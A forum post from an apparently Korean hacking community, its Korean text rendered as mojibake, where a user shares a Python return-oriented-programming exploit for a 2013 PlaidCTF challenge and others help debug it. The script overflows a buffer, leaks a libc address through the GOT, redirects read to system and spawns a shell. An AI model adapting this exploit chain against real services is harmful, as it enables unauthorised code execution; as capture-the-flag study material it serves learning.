½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   vngkv123
   2013 plaid ctf rop ..

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1846 [º¹»ç]


import socket
import time
import struct

p = lambda x : struct.pack("<L",x)
up = lambda x : struct.unpack("<L",x)[0]
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

pppr = 0x80484b6
writable = 0x08049530
read_plt = 0x804832c
read_got = 0x804961c
write_plt = 0x804830c
write_got = 0x8049614
system = 0xf7e42940
binsh = "/bin/sh"
read_offset = 0x99880

payload = ''
payload += "A"*140 + p(read_plt) + p(pppr)
payload += p(0) + p(writable) + p(8) #store /bin/sh
payload += p(write_plt) + p(pppr) + p(1) #Memory Leak!!
payload += p(read_got) + p(4)
payload += p(read_plt) + p(pppr)
payload += p(0) + p(read_got) + p(4)  #Overwrite to read_got
payload += p(read_plt) + "AAAA" + p(writable) #System function start

s.connect(('localhost',50000))
print "[+] Sending payload ..... "
s.send(payload + "\n")
s.send("/bin/sh" + "\n")
time.sleep(0.5)
read = up(s.recv(4))
real_system = read - read_offset
print '[+]system addr : %s'%(hex(real_system))
time.sleep(0.5)
s.send(p(real_system))
s.send("id"+"\n")
resp = s.recv(1024)
print(resp)
s.close()


Á¦°¡ § Æä1À̷εåÀÔ´Ï´Ù.
16.04 ubuntu ȯ°æ¿¡ xinetd µ¥¸óÀ¸·Î ·ÎÄÃȯ°æ¿¡¼­ µ¹·Á³õ°í
Å×½ºÆ®Çغ¸´Âµ¥ ¹¹°¡ À߸øµÈÁö ¸ð¸£°Ú³×¿ë ¤Ð¤Ð

  Hit : 3209     Date : 2017/04/02 07:50



    
ÇØÄð·¯ ¿Ö ¾ÈµÇ´ÂÁö ¾Ë·Á¸é Àû¾îµµ strace°á°úÁ¤µµ´Â °°ÀÌ Ã·ºÎÇØ ÁÖ¼Å¾ß ÇÕ´Ï´Ù 2017/04/02  
ÇØÄð·¯ connect´ÙÀ½¿¡ raw_input() À¸·Î ¸ØÃß°Ô ÇØ³õ°í strace -if -p PID ·Î ¾îÅÂÄ¡ÇϽŴÙÀ½¿¡ ·Î±× º¸½Ã¸é µË´Ï´Ù 2017/04/02  
vngkv123 ¾ÆÇÏ ³Ü 2017/04/02  
pwnnnt ±¸ÇØ Áø system got ÁÖ¼Ò°¡ ¸Â´ÂÁö È®ÀÎÇØº¸¼Ì³ª¿ä ?

±×¸®°í pwntoolsÀ» »ç¿ëÇÏ½Ã¸é ´õ ½¬¿ï °Ì´Ï´Ù.
"/bin/sh" ¹®ÀÚ¿­ °°Àº °æ¿ì¿¡µµ, system() ¾È¿¡ Á¸ÀçÇϱ⠶§¹®¿¡ libc base offset À¸·Î ±¸ÇÒ ¼ö ÀÖ½À´Ï´Ù.
2017/04/02  
pwnnnt segment error°¡ ¾È¶á´Ù¸é interactive°¡ ¾ÈµÇ¾î¼­ ±×·±°É ¼ö ÀÖ½À´Ï´Ù. 2017/04/02  
vngkv123 ±× À̰ŶûÀº ¾à°£ °ü·Ã¼ºÀÌ ¾ø´ÂÁú¹®Àε¥ libc-database¸¦ »ç¿ëÇÒ ¶§
dynamic-linked µÈ ÆÄÀÏÀº ¹¹ ¾È³ª¿À°í ±×·±°Å ¾øÁÒ?? find¸í·É¾î¸¦ ÇßÀ»¶§¿ä
2017/04/02  
pwnnnt ldd ./ÆÄÀϸí À¸·Î ¹«½¼ ¶óÀ̺귯¸®¸¦ ÂüÁ¶ÇÏ´ÂÁö º¸½Ã°í, lice-database¿¡ ±× soµéÀ» µî·ÏÇØÁÖ¼¼¿ä. 2017/04/03  
pwnnnt dynamic-linked µÈ ÆÄÀÏÀÌ ¶óÀ̺귯¸®¸¦ ÂüÁ¶Çϱ⠶§¹®¿¡ libc-database¿¡¼­ °Ë»öÇÏ¸é ³ª¿Ã °Ì´Ï´Ù. 2017/04/03  
vngkv123 Á¦°¡ À߸øÇϰíÀÖ¾ú³×¿ë ¤»¤» °¨»çÇØ¿ë ¤¾¤¾ 2017/04/03  
pwnnnt È­-ÀÌÆÃÀÔ´Ï´Ù. 2017/04/03  
vngkv123 ¤· ¤¿ ±Ùµ¥ Çϳª¸¸ ´õ ¹¯°í½ÍÀºµ¥...
dump¸í·É¾î¸¦ ÅëÇØ ³ª¿Â offsetµéÀº ¹«¾ùÀ» ±âÁØÀ¸·Î ÇÑ offsetÀΰ¡¿ä ?
2017/04/03  
vngkv123 ¸ô¶óµµ »ó°ü¾ø¾îº¸ÀÌ³×¿ë ±Â¹ãÇϼ¼¿ë !! ¤»¤»¤» 2017/04/03  
pwnnnt so ÆÄÀÏ ±âÁØ »ó´ëÁÖ¼Ò °ªÀÏ °Ì´Ï´Ù. 2017/04/03  
pwnnnt ±»¹ãµÇ¼Å¿ë ! 2017/04/03